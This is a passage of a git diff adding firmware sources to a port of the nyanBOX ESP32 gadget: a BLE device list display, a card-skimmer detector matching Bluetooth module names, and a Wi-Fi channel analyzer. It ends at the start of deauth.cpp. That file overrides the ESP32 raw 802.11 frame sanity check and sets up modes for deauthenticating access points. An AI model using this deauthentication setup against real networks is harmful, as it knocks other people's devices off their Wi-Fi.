u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "BLE devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No devices found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = bleDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + auto &dev = bleDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "Addr: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "BLE Devices: %d/%d", (int)bleDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)bleDevices.size()) + break; + auto &d = bleDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displayName = d.hasName && d.name[0] ? d.name : "Unknown"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/cardskimmer_detector.cpp b/cyd-port/src/cardskimmer_detector.cpp new file mode 100644 index 0000000..f1a893a --- /dev/null +++ b/cyd-port/src/cardskimmer_detector.cpp @@ -0,0 +1,559 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/cardskimmer_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct SkimmerDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; +}; + +static std::vector skimmerDevices; +const int MAX_DEVICES = 100; + +const int KNOWN_SKIMMER_COUNT = 3; +const char* KNOWN_SKIMMERS[KNOWN_SKIMMER_COUNT] = { + "HC-03", + "HC-05", + "HC-06" +}; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +bool isKnownSkimmer(const char* deviceName) { + for (int i = 0; i < KNOWN_SKIMMER_COUNT; i++) { + if (strcmp(deviceName, KNOWN_SKIMMERS[i]) == 0) { + return true; + } + } + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name == NULL || adv_name_len == 0 || adv_name_len >= 32) { + return; + } + + char deviceName[32]; + memcpy(deviceName, adv_name, adv_name_len); + deviceName[adv_name_len] = '\0'; + + if (!isKnownSkimmer(deviceName)) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (skimmerDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < skimmerDevices.size(); i++) { + if (strcmp(skimmerDevices[i].address, addrStr) == 0) { + skimmerDevices[i].rssi = scan_result->scan_rst.rssi; + skimmerDevices[i].lastSeen = millis(); + + if (!isLocateMode) { + std::sort(skimmerDevices.begin(), skimmerDevices.end(), + [](const SkimmerDeviceData &a, const SkimmerDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + SkimmerDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + strncpy(newDev.name, deviceName, 31); + newDev.name[31] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + + skimmerDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(skimmerDevices.begin(), skimmerDevices.end(), + [](const SkimmerDeviceData &a, const SkimmerDeviceData &b) { + return a.rssi > b.rssi; + }); + } +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void cardskimmerDetectorSetup() { + skimmerDevices.clear(); + skimmerDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Card Skimmers..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void cardskimmerDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)skimmerDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)skimmerDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Card Skimmers..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)skimmerDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (skimmerDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (skimmerDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (skimmerDevices.size() >= MAX_DEVICES) { + std::sort(skimmerDevices.begin(), skimmerDevices.end(), + [](const SkimmerDeviceData &a, const SkimmerDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + skimmerDevices.erase(skimmerDevices.begin(), + skimmerDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)skimmerDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !skimmerDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !skimmerDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, skimmerDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (skimmerDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)skimmerDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)skimmerDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (skimmerDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (skimmerDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Card Skimmers..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No skimmers found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = skimmerDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView && !skimmerDevices.empty() && currentIndex >= 0 && currentIndex < (int)skimmerDevices.size()) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = skimmerDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Skimmers: %d/%d", + (int)skimmerDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)skimmerDevices.size()) + break; + + auto &d = skimmerDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + + char line[32]; + const char* displayName = d.name[0] ? d.name : "Skimmer"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/channel_analyzer.cpp b/cyd-port/src/channel_analyzer.cpp new file mode 100644 index 0000000..120a836 --- /dev/null +++ b/cyd-port/src/channel_analyzer.cpp @@ -0,0 +1,283 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/channel_analyzer.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +namespace { + +#define MAX_CHANNELS 14 +#define MAX_NETWORKS 100 +#define NETWORK_TIMEOUT 60000 + +struct ChannelInfo { + std::map uniqueNetworks; +}; + +static ChannelInfo channels[MAX_CHANNELS]; +static unsigned long lastScanStart = 0; +static unsigned long lastDisplayUpdate = 0; +static unsigned long lastCleanup = 0; +const unsigned long displayUpdateInterval = 1000; +const unsigned long scanInterval = 100; +const unsigned long scanDuration = 4000; +const unsigned long cleanupInterval = 60000; + +static bool scanInProgress = false; +static bool hasData = false; + +void initChannelData() { + for (int i = 0; i < MAX_CHANNELS; i++) { + channels[i].uniqueNetworks.clear(); + } +} + +void cleanupOldNetworks() { + unsigned long now = millis(); + + for (int i = 0; i < MAX_CHANNELS; i++) { + auto it = channels[i].uniqueNetworks.begin(); + while (it != channels[i].uniqueNetworks.end()) { + if (now - it->second > NETWORK_TIMEOUT) { + it = channels[i].uniqueNetworks.erase(it); + } else { + ++it; + } + } + } +} + +void updateChannelData() { + uint16_t number = 0; + esp_wifi_scan_get_ap_num(&number); + + if (number == 0) return; + + wifi_ap_record_t *ap_info = (wifi_ap_record_t *)malloc(sizeof(wifi_ap_record_t) * number); + if (ap_info == NULL) return; + + memset(ap_info, 0, sizeof(wifi_ap_record_t) * number); + + uint16_t actual_number = number; + esp_err_t err = esp_wifi_scan_get_ap_records(&actual_number, ap_info); + + if (err == ESP_OK) { + for (int i = 0; i < actual_number; i++) { + int channel = ap_info[i].primary; + + if (channel >= 1 && channel <= 14) { + int idx = channel - 1; + + char macStr[18]; + snprintf(macStr, sizeof(macStr), "%02x:%02x:%02x:%02x:%02x:%02x", + ap_info[i].bssid[0], ap_info[i].bssid[1], ap_info[i].bssid[2], + ap_info[i].bssid[3], ap_info[i].bssid[4], ap_info[i].bssid[5]); + + int totalNetworks = 0; + for (int j = 0; j < MAX_CHANNELS; j++) { + totalNetworks += channels[j].uniqueNetworks.size(); + } + + std::string macString(macStr); + if (totalNetworks < MAX_NETWORKS || channels[idx].uniqueNetworks.count(macString) > 0) { + channels[idx].uniqueNetworks[macString] = millis(); + } + } + } + hasData = true; + } + + free(ap_info); +} + +void performChannelScan() { + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = true, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + + esp_wifi_scan_start(&scan_config, false); + scanInProgress = true; + lastScanStart = millis(); +} + +void renderScanningScreen() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + const char* titleText = "Channel Analyzer"; + int titleWidth = u8g2.getUTF8Width(titleText); + u8g2.drawStr((128 - titleWidth) / 2, 20, titleText); + + const char* scanText = "Scanning..."; + int scanWidth = u8g2.getUTF8Width(scanText); + u8g2.drawStr((128 - scanWidth) / 2, 32, scanText); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + unsigned long now = millis(); + unsigned long elapsed = now - lastScanStart; + if (elapsed < scanDuration) { + int fillWidth = (elapsed * (barWidth - 4)) / scanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + } + + u8g2.setFont(u8g2_font_5x8_tr); + const char* exitText = "Press SEL to exit"; + int exitWidth = u8g2.getUTF8Width(exitText); + u8g2.drawStr((128 - exitWidth) / 2, 62, exitText); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void renderChannelChart() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x7_tr); + + int totalNetworks = 0; + int bestChannel = 1; + int worstChannel = 1; + int minCount = 999; + int maxCount = 0; + + for (int i = 0; i < MAX_CHANNELS; i++) { + int count = channels[i].uniqueNetworks.size(); + totalNetworks += count; + + if (count > maxCount) { + maxCount = count; + worstChannel = i + 1; + } + } + + for (int ch : {1, 6, 11}) { + int idx = ch - 1; + int count = channels[idx].uniqueNetworks.size(); + if (count < minCount) { + minCount = count; + bestChannel = ch; + } + } + + int bestCount = channels[bestChannel - 1].uniqueNetworks.size(); + int worstCount = channels[worstChannel - 1].uniqueNetworks.size(); + + char headerStr[32]; + snprintf(headerStr, sizeof(headerStr), "B:%d(%d) W:%d(%d) T:%d", + bestChannel, bestCount, worstChannel, worstCount, totalNetworks); + int headerWidth = u8g2.getUTF8Width(headerStr); + u8g2.drawStr((128 - headerWidth) / 2, 7, headerStr); + + u8g2.drawHLine(0, 8, 128); + + const int CHART_TOP = 10; + const int CHART_BOTTOM = 56; + const int CHART_HEIGHT = CHART_BOTTOM - CHART_TOP; + const int barWidth = 7; + const int barSpacing = 2; + const int scaleMax = (maxCount < 3) ? 3 : maxCount; + + for (int ch = 0; ch < MAX_CHANNELS; ch++) { + int count = channels[ch].uniqueNetworks.size(); + int xPos = 4 + (ch * (barWidth + barSpacing)); + + if (count > 0) { + int barHeight = (count * CHART_HEIGHT) / scaleMax; + if (barHeight > CHART_HEIGHT) barHeight = CHART_HEIGHT; + if (barHeight < 2) barHeight = 2; + + u8g2.drawBox(xPos, CHART_BOTTOM - barHeight, barWidth, barHeight); + } + } + + u8g2.drawHLine(0, CHART_BOTTOM, 128); + + u8g2.setFont(u8g2_font_4x6_tr); + for (int ch = 0; ch < MAX_CHANNELS; ch += 2) { + int xPos = 4 + (ch * (barWidth + barSpacing)); + char chLabel[3]; + snprintf(chLabel, sizeof(chLabel), "%d", ch + 1); + u8g2.drawStr(xPos, 63, chLabel); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +} + +void channelAnalyzerSetup() { + initWiFi(WIFI_MODE_STA); + + scanInProgress = false; + hasData = false; + initChannelData(); + + u8g2.begin(); + renderScanningScreen(); + + performChannelScan(); + lastDisplayUpdate = millis(); + lastCleanup = millis(); +} + +void channelAnalyzerLoop() { + unsigned long now = millis(); + + if (scanInProgress && (now - lastScanStart > scanDuration)) { + esp_wifi_scan_stop(); + updateChannelData(); + scanInProgress = false; + } + + if (!scanInProgress && (now - lastScanStart >= scanInterval)) { + performChannelScan(); + } + + if (now - lastCleanup >= cleanupInterval) { + cleanupOldNetworks(); + lastCleanup = now; + } + + if (hasData) { + if (now - lastDisplayUpdate >= displayUpdateInterval) { + renderChannelChart(); + lastDisplayUpdate = now; + } + } else { + renderScanningScreen(); + } +} \ No newline at end of file diff --git a/cyd-port/src/cyd_u8g2_bridge.cpp b/cyd-port/src/cyd_u8g2_bridge.cpp new file mode 100644 index 0000000..a4ba2f3 --- /dev/null +++ b/cyd-port/src/cyd_u8g2_bridge.cpp @@ -0,0 +1,12 @@ +/* + cyd_u8g2_bridge.cpp — nyanBOX CYD port + + The single ODR definition of the shared TFT_eSPI instance used by the + U8g2->ILI9341 bridge (include/cyd_u8g2_bridge.h). All display config comes + from platformio.ini build_flags (USER_SETUP_LOADED=1 + ILI9341_DRIVER etc). + + MUST NOT include pindefs.h (keeps real digitalRead / TFT SPI in this TU). +*/ +#include + +TFT_eSPI tft = TFT_eSPI(); diff --git a/cyd-port/src/deauth.cpp b/cyd-port/src/deauth.cpp new file mode 100644 index 0000000..06d021b --- /dev/null +++ b/cyd-port/src/deauth.cpp @@ -0,0 +1,490 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/deauth.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/pindefs.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +// Function to bypass frame validation (required for raw 802.11 frames) +extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { + (void)arg; + (void)arg2; + (void)arg3; + return 0; +} + +#define MAX_APS 20 + +enum Mode { MODE_MENU, MODE_ALL, MODE_LIST, MODE_DEAUTH_SINGLE, MODE_SCANNING }; +static Mode currentMode = MODE_MENU; +static Mode returnMode = MODE_MENU; +static int menuSelection = 0; +static int apIndex = 0; + +const unsigned long SCAN_INTERVAL = 30000; +const unsigned long DEAUTH_INTERVAL = 5; +const unsigned long SCAN_DURATION = 8000; +static unsigned long lastScanTime = 0; +static unsigned long lastDeauthTime = 0; +static unsigned long scanStartTime 